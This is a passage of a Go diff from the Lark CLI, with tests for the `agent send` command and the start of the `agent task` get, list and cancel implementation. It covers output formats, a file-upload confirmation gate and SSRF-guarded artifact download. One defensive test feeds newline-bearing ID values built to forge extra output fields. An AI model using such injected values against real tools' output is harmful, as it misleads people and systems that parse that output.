func workingTask() *iagent.AgentTask {
|
||||
return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}
|
||||
}
|
||||
|
||||
// TestSendPrettyFormat pins that `send --format pretty` renders the
|
||||
// resulting task as key: value lines (previously the flag was registered but
|
||||
// silently ignored).
|
||||
func TestSendPrettyFormat(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
return workingTask(), nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send --format pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
|
||||
// (key: value preview) instead of silently emitting JSON.
|
||||
func TestSendDryRunPrettyFormat(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.DryRun = true
|
||||
opts.Format = "pretty"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
|
||||
// runs context_id/task_id through kvValue (like every other pretty face), so a
|
||||
// value carrying a newline cannot forge an adjacent "key: value" field row.
|
||||
func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.DryRun = true
|
||||
opts.Format = "pretty"
|
||||
opts.ContextID = "ctx1\nstate: completed"
|
||||
opts.TaskID = "task1\ndeleted: true"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
// The raw newline must not survive into a forged adjacent row.
|
||||
if strings.Contains(text, "context_id: ctx1\nstate: completed") {
|
||||
t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
|
||||
}
|
||||
if strings.Contains(text, "task_id: task1\ndeleted: true") {
|
||||
t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
|
||||
}
|
||||
// kvValue collapses the newline to a space, keeping the value on one line.
|
||||
if !strings.Contains(text, "context_id: ctx1 state: completed") {
|
||||
t.Errorf("context_id should collapse to one line, got:\n%s", text)
|
||||
}
|
||||
if !strings.Contains(text, "task_id: task1 deleted: true") {
|
||||
t.Errorf("task_id should collapse to one line, got:\n%s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendNoParamsRequired pins card v2: the scripted card declares no
|
||||
// parameters, so a send without any --param passes card validation — asserted
|
||||
// via --dry-run so no provider Send fires. A malformed --param is still a
|
||||
// validation error.
|
||||
func TestSendNoParamsRequired(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Params = nil
|
||||
opts.DryRun = true
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
|
||||
}
|
||||
|
||||
opts2 := sendTestOpts(t)
|
||||
opts2.Text = "分析销售"
|
||||
opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
|
||||
opts2.DryRun = true
|
||||
err := agentSendRun(opts2)
|
||||
if err == nil {
|
||||
t.Fatal("malformed --param should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendUnknownParamRejected pins, against an empty-parameters card, that
|
||||
// any --param key is unknown → invalid_argument with a hint pointing at
|
||||
// `agent card`, raised before any provider Send (asserted via --dry-run with
|
||||
// no send hook installed).
|
||||
func TestSendUnknownParamRejected(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Params = []string{"app_id=app_1"}
|
||||
opts.DryRun = true
|
||||
err := agentSendRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("card did not declare app_id, --param app_id should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card") {
|
||||
t.Fatalf("hint should point to agent card, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRun pins that --dry-run prints a would_send preview and never
|
||||
// calls the provider (no send hook installed → a Send would panic).
|
||||
func TestSendDryRun(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.DryRun = true
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
data, ok := env.Data.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data should be an object, got %T", env.Data)
|
||||
}
|
||||
if data["dry_run"] != true {
|
||||
t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
|
||||
}
|
||||
would, ok := data["would_send"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
|
||||
}
|
||||
if would["text"] != "分析销售" {
|
||||
t.Errorf("would_send.text should echo the text, got %v", would["text"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendStartsTask pins the happy path: a single Send fires and returns the
|
||||
// submitted / working task in a success envelope immediately (no polling), with
|
||||
// a meta.next hint pointing at task get --watch.
|
||||
func TestSendStartsTask(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
var gotText string
|
||||
setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
gotText = in.Text
|
||||
return workingTask(), nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send should not error: %v", err)
|
||||
}
|
||||
if gotText != "分析销售" {
|
||||
t.Errorf("provider should receive the original text, got %q", gotText)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["task_id"] != "chat_1" {
|
||||
t.Errorf("task_id should be chat_1, got %v", data["task_id"])
|
||||
}
|
||||
if data["state"] != string(iagent.StateWorking) {
|
||||
t.Errorf("state should be working, got %v", data["state"])
|
||||
}
|
||||
// meta.next should suggest polling / continuing.
|
||||
if !strings.Contains(string(out.Bytes()), `"next"`) {
|
||||
t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendSendError surfaces a provider Send failure unchanged.
|
||||
func TestSendSendError(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "x"
|
||||
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentSendRun(opts); err == nil {
|
||||
t.Fatal("Send error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendInvalidRef surfaces a malformed ref as a validation error after the
|
||||
// text/task-id guards pass.
|
||||
func TestSendInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
|
||||
// presence of the send-specific flags.
|
||||
func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
|
||||
cmd := NewCmdAgentSend(nil, nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
|
||||
t.Errorf("agent send should be marked write risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("agent send missing ref should raise an args error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("agent send with a single ref should be valid: %v", err)
|
||||
}
|
||||
for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("agent send should have --%s flag", name)
|
||||
}
|
||||
}
|
||||
if cmd.Flags().Lookup("wait") != nil {
|
||||
t.Error("agent send --wait should be removed (polling goes through task get --watch)")
|
||||
}
|
||||
// The --file help must point out that files are sent off to the remote
|
||||
// provider (file-egress requirement).
|
||||
fileFlag := cmd.Flags().Lookup("file")
|
||||
if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
|
||||
t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
|
||||
// instead of the production path (construction-time seam).
|
||||
func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
|
||||
called := false
|
||||
var captured *sendOptions
|
||||
cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
|
||||
called = true
|
||||
captured = opts
|
||||
return nil
|
||||
})
|
||||
cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
|
||||
cmd.SetContext(context.Background())
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("execute should not error: %v", err)
|
||||
}
|
||||
if !called {
|
||||
t.Fatal("runF should be called")
|
||||
}
|
||||
if captured.Ref != "example:agt_x" || captured.Text != "hi" {
|
||||
t.Errorf("opts not populated correctly: %+v", captured)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
|
||||
// carrying --file to a provider that supports file upload (the scripted card has
|
||||
// file_input=true) requires --yes, so without it the command returns
|
||||
// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
|
||||
// hook is a tripwire that would panic if the gate let the upload through.
|
||||
func TestSend_FileRequiresYes(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"} // no --yes
|
||||
|
||||
err := agentSendRun(opts)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
|
||||
t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
|
||||
t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
|
||||
// send reaches the provider, which receives the file path.
|
||||
func TestSend_FileWithYesProceeds(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
sent := false
|
||||
setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
sent = true
|
||||
if len(in.Files) != 1 || in.Files[0] != "local.txt" {
|
||||
t.Errorf("provider should receive the --file path, got %v", in.Files)
|
||||
}
|
||||
return &iagent.AgentTask{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: true}, nil
|
||||
}})
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"}
|
||||
opts.Yes = true
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send --file --yes should proceed: %v", err)
|
||||
}
|
||||
if !sent {
|
||||
t.Error("provider Send should be reached after --yes")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
|
||||
// gate (dry-run never uploads), so it needs no --yes and never reaches the
|
||||
// provider (unset send hook stays a tripwire).
|
||||
func TestSend_FileDryRunNotGated(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"}
|
||||
opts.DryRun = true // no --yes
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run --file should not be gated: %v", err)
|
||||
}
|
||||
}
|
||||
521
cmd/agent/task.go
Normal file
521
cmd/agent/task.go
Normal file
@@ -0,0 +1,521 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
"github.com/larksuite/cli/internal/vfs"
|
||||
)
|
||||
|
||||
// maxArtifactBytes caps a single downloaded artifact to guard against an
|
||||
// untrusted host streaming an unbounded body onto local disk.
|
||||
const maxArtifactBytes = 256 << 20 // 256 MiB
|
||||
|
||||
// taskOptions holds all inputs for the `agent task get|list|cancel` leaves. A
|
||||
// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
|
||||
// are wired once; each RunE reads only the fields its verb needs.
|
||||
type taskOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
TaskID string
|
||||
ContextID string
|
||||
ArtifactID string
|
||||
Output string
|
||||
Force bool
|
||||
Watch bool
|
||||
Timeout time.Duration
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// resolveDownload is the DownloadArtifact seam: it resolves the provider
|
||||
// addressed by opts under the effective identity, runs the local scope
|
||||
// preflight, and fetches the artifact descriptor. Tests swap it to return
|
||||
// inline bytes without a Factory / network.
|
||||
var resolveDownload = func(opts *taskOptions) (*iagent.ArtifactData, error) {
|
||||
_, spec, agentID, id, err := resolveSpec(opts.Factory, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Capability gate before any network: a spec that does not wire
|
||||
// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
|
||||
if spec.DownloadArtifact == nil {
|
||||
return nil, capabilityError(opts.Ref, "artifact download", iagent.CapArtifactDownload)
|
||||
}
|
||||
rt, err := runtimeFor(opts.Factory, id, agentID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return spec.DownloadArtifact(opts.Cmd.Context(), rt, opts.TaskID, opts.ArtifactID)
|
||||
}
|
||||
|
||||
// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
|
||||
// its bytes with a download-hardened client. Tests swap it to serve a loopback
|
||||
// httptest server (which the production SSRF guard would otherwise block).
|
||||
var artifactFetch = fetchArtifactURL
|
||||
|
||||
// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
|
||||
// Production wraps the base client with the SSRF-hardened redirect/dial rules;
|
||||
// tests swap it to pass the (interceptable) base client through unchanged so the
|
||||
// request/status/read/limit logic can run against an httpmock transport that the
|
||||
// hardened client's transport clone would otherwise discard.
|
||||
var hardenDownloadClient = func(base *http.Client) *http.Client {
|
||||
return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
|
||||
}
|
||||
|
||||
// NewCmdAgentTask builds the `agent task` command group: query, list and cancel
|
||||
// tasks on a remote agent. It is a pure group with no RunE so an unknown
|
||||
// subcommand is reported rather than silently swallowed.
|
||||
func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "task",
|
||||
Short: "Query / list / cancel a remote agent's tasks",
|
||||
Long: "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentTaskGet(f))
|
||||
cmd.AddCommand(NewCmdAgentTaskList(f))
|
||||
cmd.AddCommand(NewCmdAgentTaskCancel(f))
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskGet builds `agent task get <ref> <task-id>`: fetch a single
|
||||
// task's state and artifacts. `--watch` polls until the task reaches a stop
|
||||
// condition and the terminal state drives the semantic exit code;
|
||||
// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
|
||||
// the backward-compatible default). `--artifact <id>` downloads that artifact
|
||||
// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
|
||||
// and fetched, an inline-bytes artifact is written straight to disk.
|
||||
// Risk=read.
|
||||
func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "get <agent_ref> <task-id>",
|
||||
Short: "Query a single task's state and artifacts",
|
||||
Long: "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.TaskID = args[1]
|
||||
return agentTaskGetRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件(终态 / 需补输入 / 需补鉴权)再打印最终状态")
|
||||
cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长,如 30s;0=无界(阻塞到终态);到点未终止则返回当前状态+续 watch 命令")
|
||||
cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id(须配合 -o 指定落盘路径),不打印任务详情")
|
||||
cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径(仅 --artifact 时使用)")
|
||||
cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件(默认拒绝覆盖,防止误毁本地文件)")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskList builds `agent task list <ref>`: enumerate the agent's
|
||||
// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
|
||||
// meta.count. Risk=read.
|
||||
func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list <agent_ref>",
|
||||
Short: "List a remote agent's tasks",
|
||||
Long: "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentTaskListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskCancel builds `agent task cancel <ref> <task-id>`: cancel
|
||||
// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
|
||||
// an agent that does not support it (task_cancel=false, e.g. example:echo) the
|
||||
// command returns unsupported_capability without contacting the API.
|
||||
// Risk=write.
|
||||
func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "cancel <agent_ref> <task-id>",
|
||||
Short: "Cancel (interrupt) a remote agent's task",
|
||||
Long: "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.TaskID = args[1]
|
||||
return agentTaskCancelRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// addAsFlag registers the identity flag: the real API-identity flag when a
|
||||
// Factory is present, or a bare --as for construction-time unit tests (f nil).
|
||||
func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
|
||||
return
|
||||
}
|
||||
cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
|
||||
}
|
||||
|
||||
// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
|
||||
// -o) runs first so it never touches the network and holds under a nil Factory.
|
||||
// With `--artifact` it downloads the named artifact to -o; otherwise it
|
||||
// fetches the task, optionally polling it to a stop condition under --watch, and
|
||||
// emits the task with the terminal state driving the semantic exit code.
|
||||
func agentTaskGetRun(opts *taskOptions) error {
|
||||
if opts.ArtifactID != "" {
|
||||
if opts.Output == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--artifact 需配合 -o/--output 指定落盘路径").
|
||||
WithParam("--output").
|
||||
WithHint("补充 -o <落盘路径> 后重发")
|
||||
}
|
||||
return downloadArtifact(opts)
|
||||
}
|
||||
|
||||
// --timeout only bounds the --watch poll; without --watch it is meaningless.
|
||||
// Guard it client-side (mirrors the send --task-id/--context-id combo check)
|
||||
// so it never touches the network and holds under a nil Factory.
|
||||
if opts.Timeout > 0 && !opts.Watch {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--timeout 需与 --watch 一起使用").
|
||||
WithParam("--timeout").
|
||||
WithHint("--timeout 需与 --watch 一起使用")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ctx := opts.Cmd.Context()
|
||||
task, err := spec.GetTask(ctx, rt, opts.TaskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// A provider that decodes an empty "data" via Call[*AgentTask] legitimately
|
||||
// returns (nil, nil) (see internal/agent decodeData). Surface that as a typed
|
||||
// error rather than dereferencing task.State below (the --watch branch would
|
||||
// otherwise panic; the sibling consumers all nil-guard).
|
||||
if task == nil {
|
||||
return errs.NewInternalError(errs.SubtypeInvalidResponse,
|
||||
"provider 未返回任务数据(响应无 data)")
|
||||
}
|
||||
|
||||
if opts.Watch && !task.State.ShouldStopPolling() {
|
||||
// A positive --timeout bounds the poll: pollToStop returns the most recent
|
||||
// task with a nil error when the deadline fires (a timeout is an
|
||||
// observation-window close, not a failure), so a long task degrades to
|
||||
// "current state + a fresh watch hint" instead of blocking forever. 0 =
|
||||
// unbounded (the backward-compatible default). pollToStop is unchanged.
|
||||
pollCtx := ctx
|
||||
if opts.Timeout > 0 {
|
||||
var cancel context.CancelFunc
|
||||
pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
|
||||
defer cancel()
|
||||
}
|
||||
final, perr := pollToStop(pollCtx, func(c context.Context, tid string) (*iagent.AgentTask, error) {
|
||||
return spec.GetTask(c, rt, tid)
|
||||
}, opts.TaskID)
|
||||
if perr != nil {
|
||||
return perr
|
||||
}
|
||||
if final != nil {
|
||||
task = final
|
||||
}
|
||||
}
|
||||
|
||||
// Derive IsTerminal from State (single source of truth) before any consumer
|
||||
// — emitTask's output and semanticExitError below both read the flag.
|
||||
normalizeTask(task)
|
||||
if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
// Under --watch a non-successful terminal state signals exit 1; a
|
||||
// plain get (or a non-terminal stop) is exit 0.
|
||||
if opts.Watch {
|
||||
return semanticExitError(task)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentTaskListRun runs `task list`: resolves the provider, lists tasks
|
||||
// (optionally filtered by --context-id), sorts them newest-first by UpdatedAt,
|
||||
// and emits {tasks:[...]} with meta.count through content-safety scanning (the
|
||||
// summaries carry untrusted agent text).
|
||||
func agentTaskListRun(opts *taskOptions) error {
|
||||
f := opts.Factory
|
||||
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate BEFORE building the client: a spec that does not wire
|
||||
// ListTasks (card task_list=false) returns unsupported_capability offline.
|
||||
if spec.ListTasks == nil {
|
||||
return capabilityError(opts.Ref, "task list", iagent.CapTaskList)
|
||||
}
|
||||
rt, err := runtimeFor(f, id, agentID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after runtimeFor, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
tasks, err := spec.ListTasks(opts.Cmd.Context(), rt, opts.ContextID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tasks = normalizeTaskSummaries(tasks)
|
||||
// Newest-first: sort by UpdatedAt (RFC3339 UTC) descending so the most
|
||||
// recently active task heads the list; a stable sort preserves the provider's
|
||||
// relative order for equal timestamps, and tasks with no timestamp sort last.
|
||||
sort.SliceStable(tasks, func(i, j int) bool { return tasks[i].UpdatedAt > tasks[j].UpdatedAt })
|
||||
if tasks == nil {
|
||||
tasks = []iagent.TaskSummary{} // always emit [] not null (matches the Card.Parameters array convention)
|
||||
}
|
||||
return scanAndEmitData(f, opts.Cmd, opts.Format,
|
||||
map[string]interface{}{"tasks": tasks},
|
||||
&output.Meta{Count: len(tasks)},
|
||||
func(w io.Writer) { printTaskSummariesTSV(w, tasks) })
|
||||
}
|
||||
|
||||
// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated offline
|
||||
// (right after resolveSpec, before the client is built): a spec that does not
|
||||
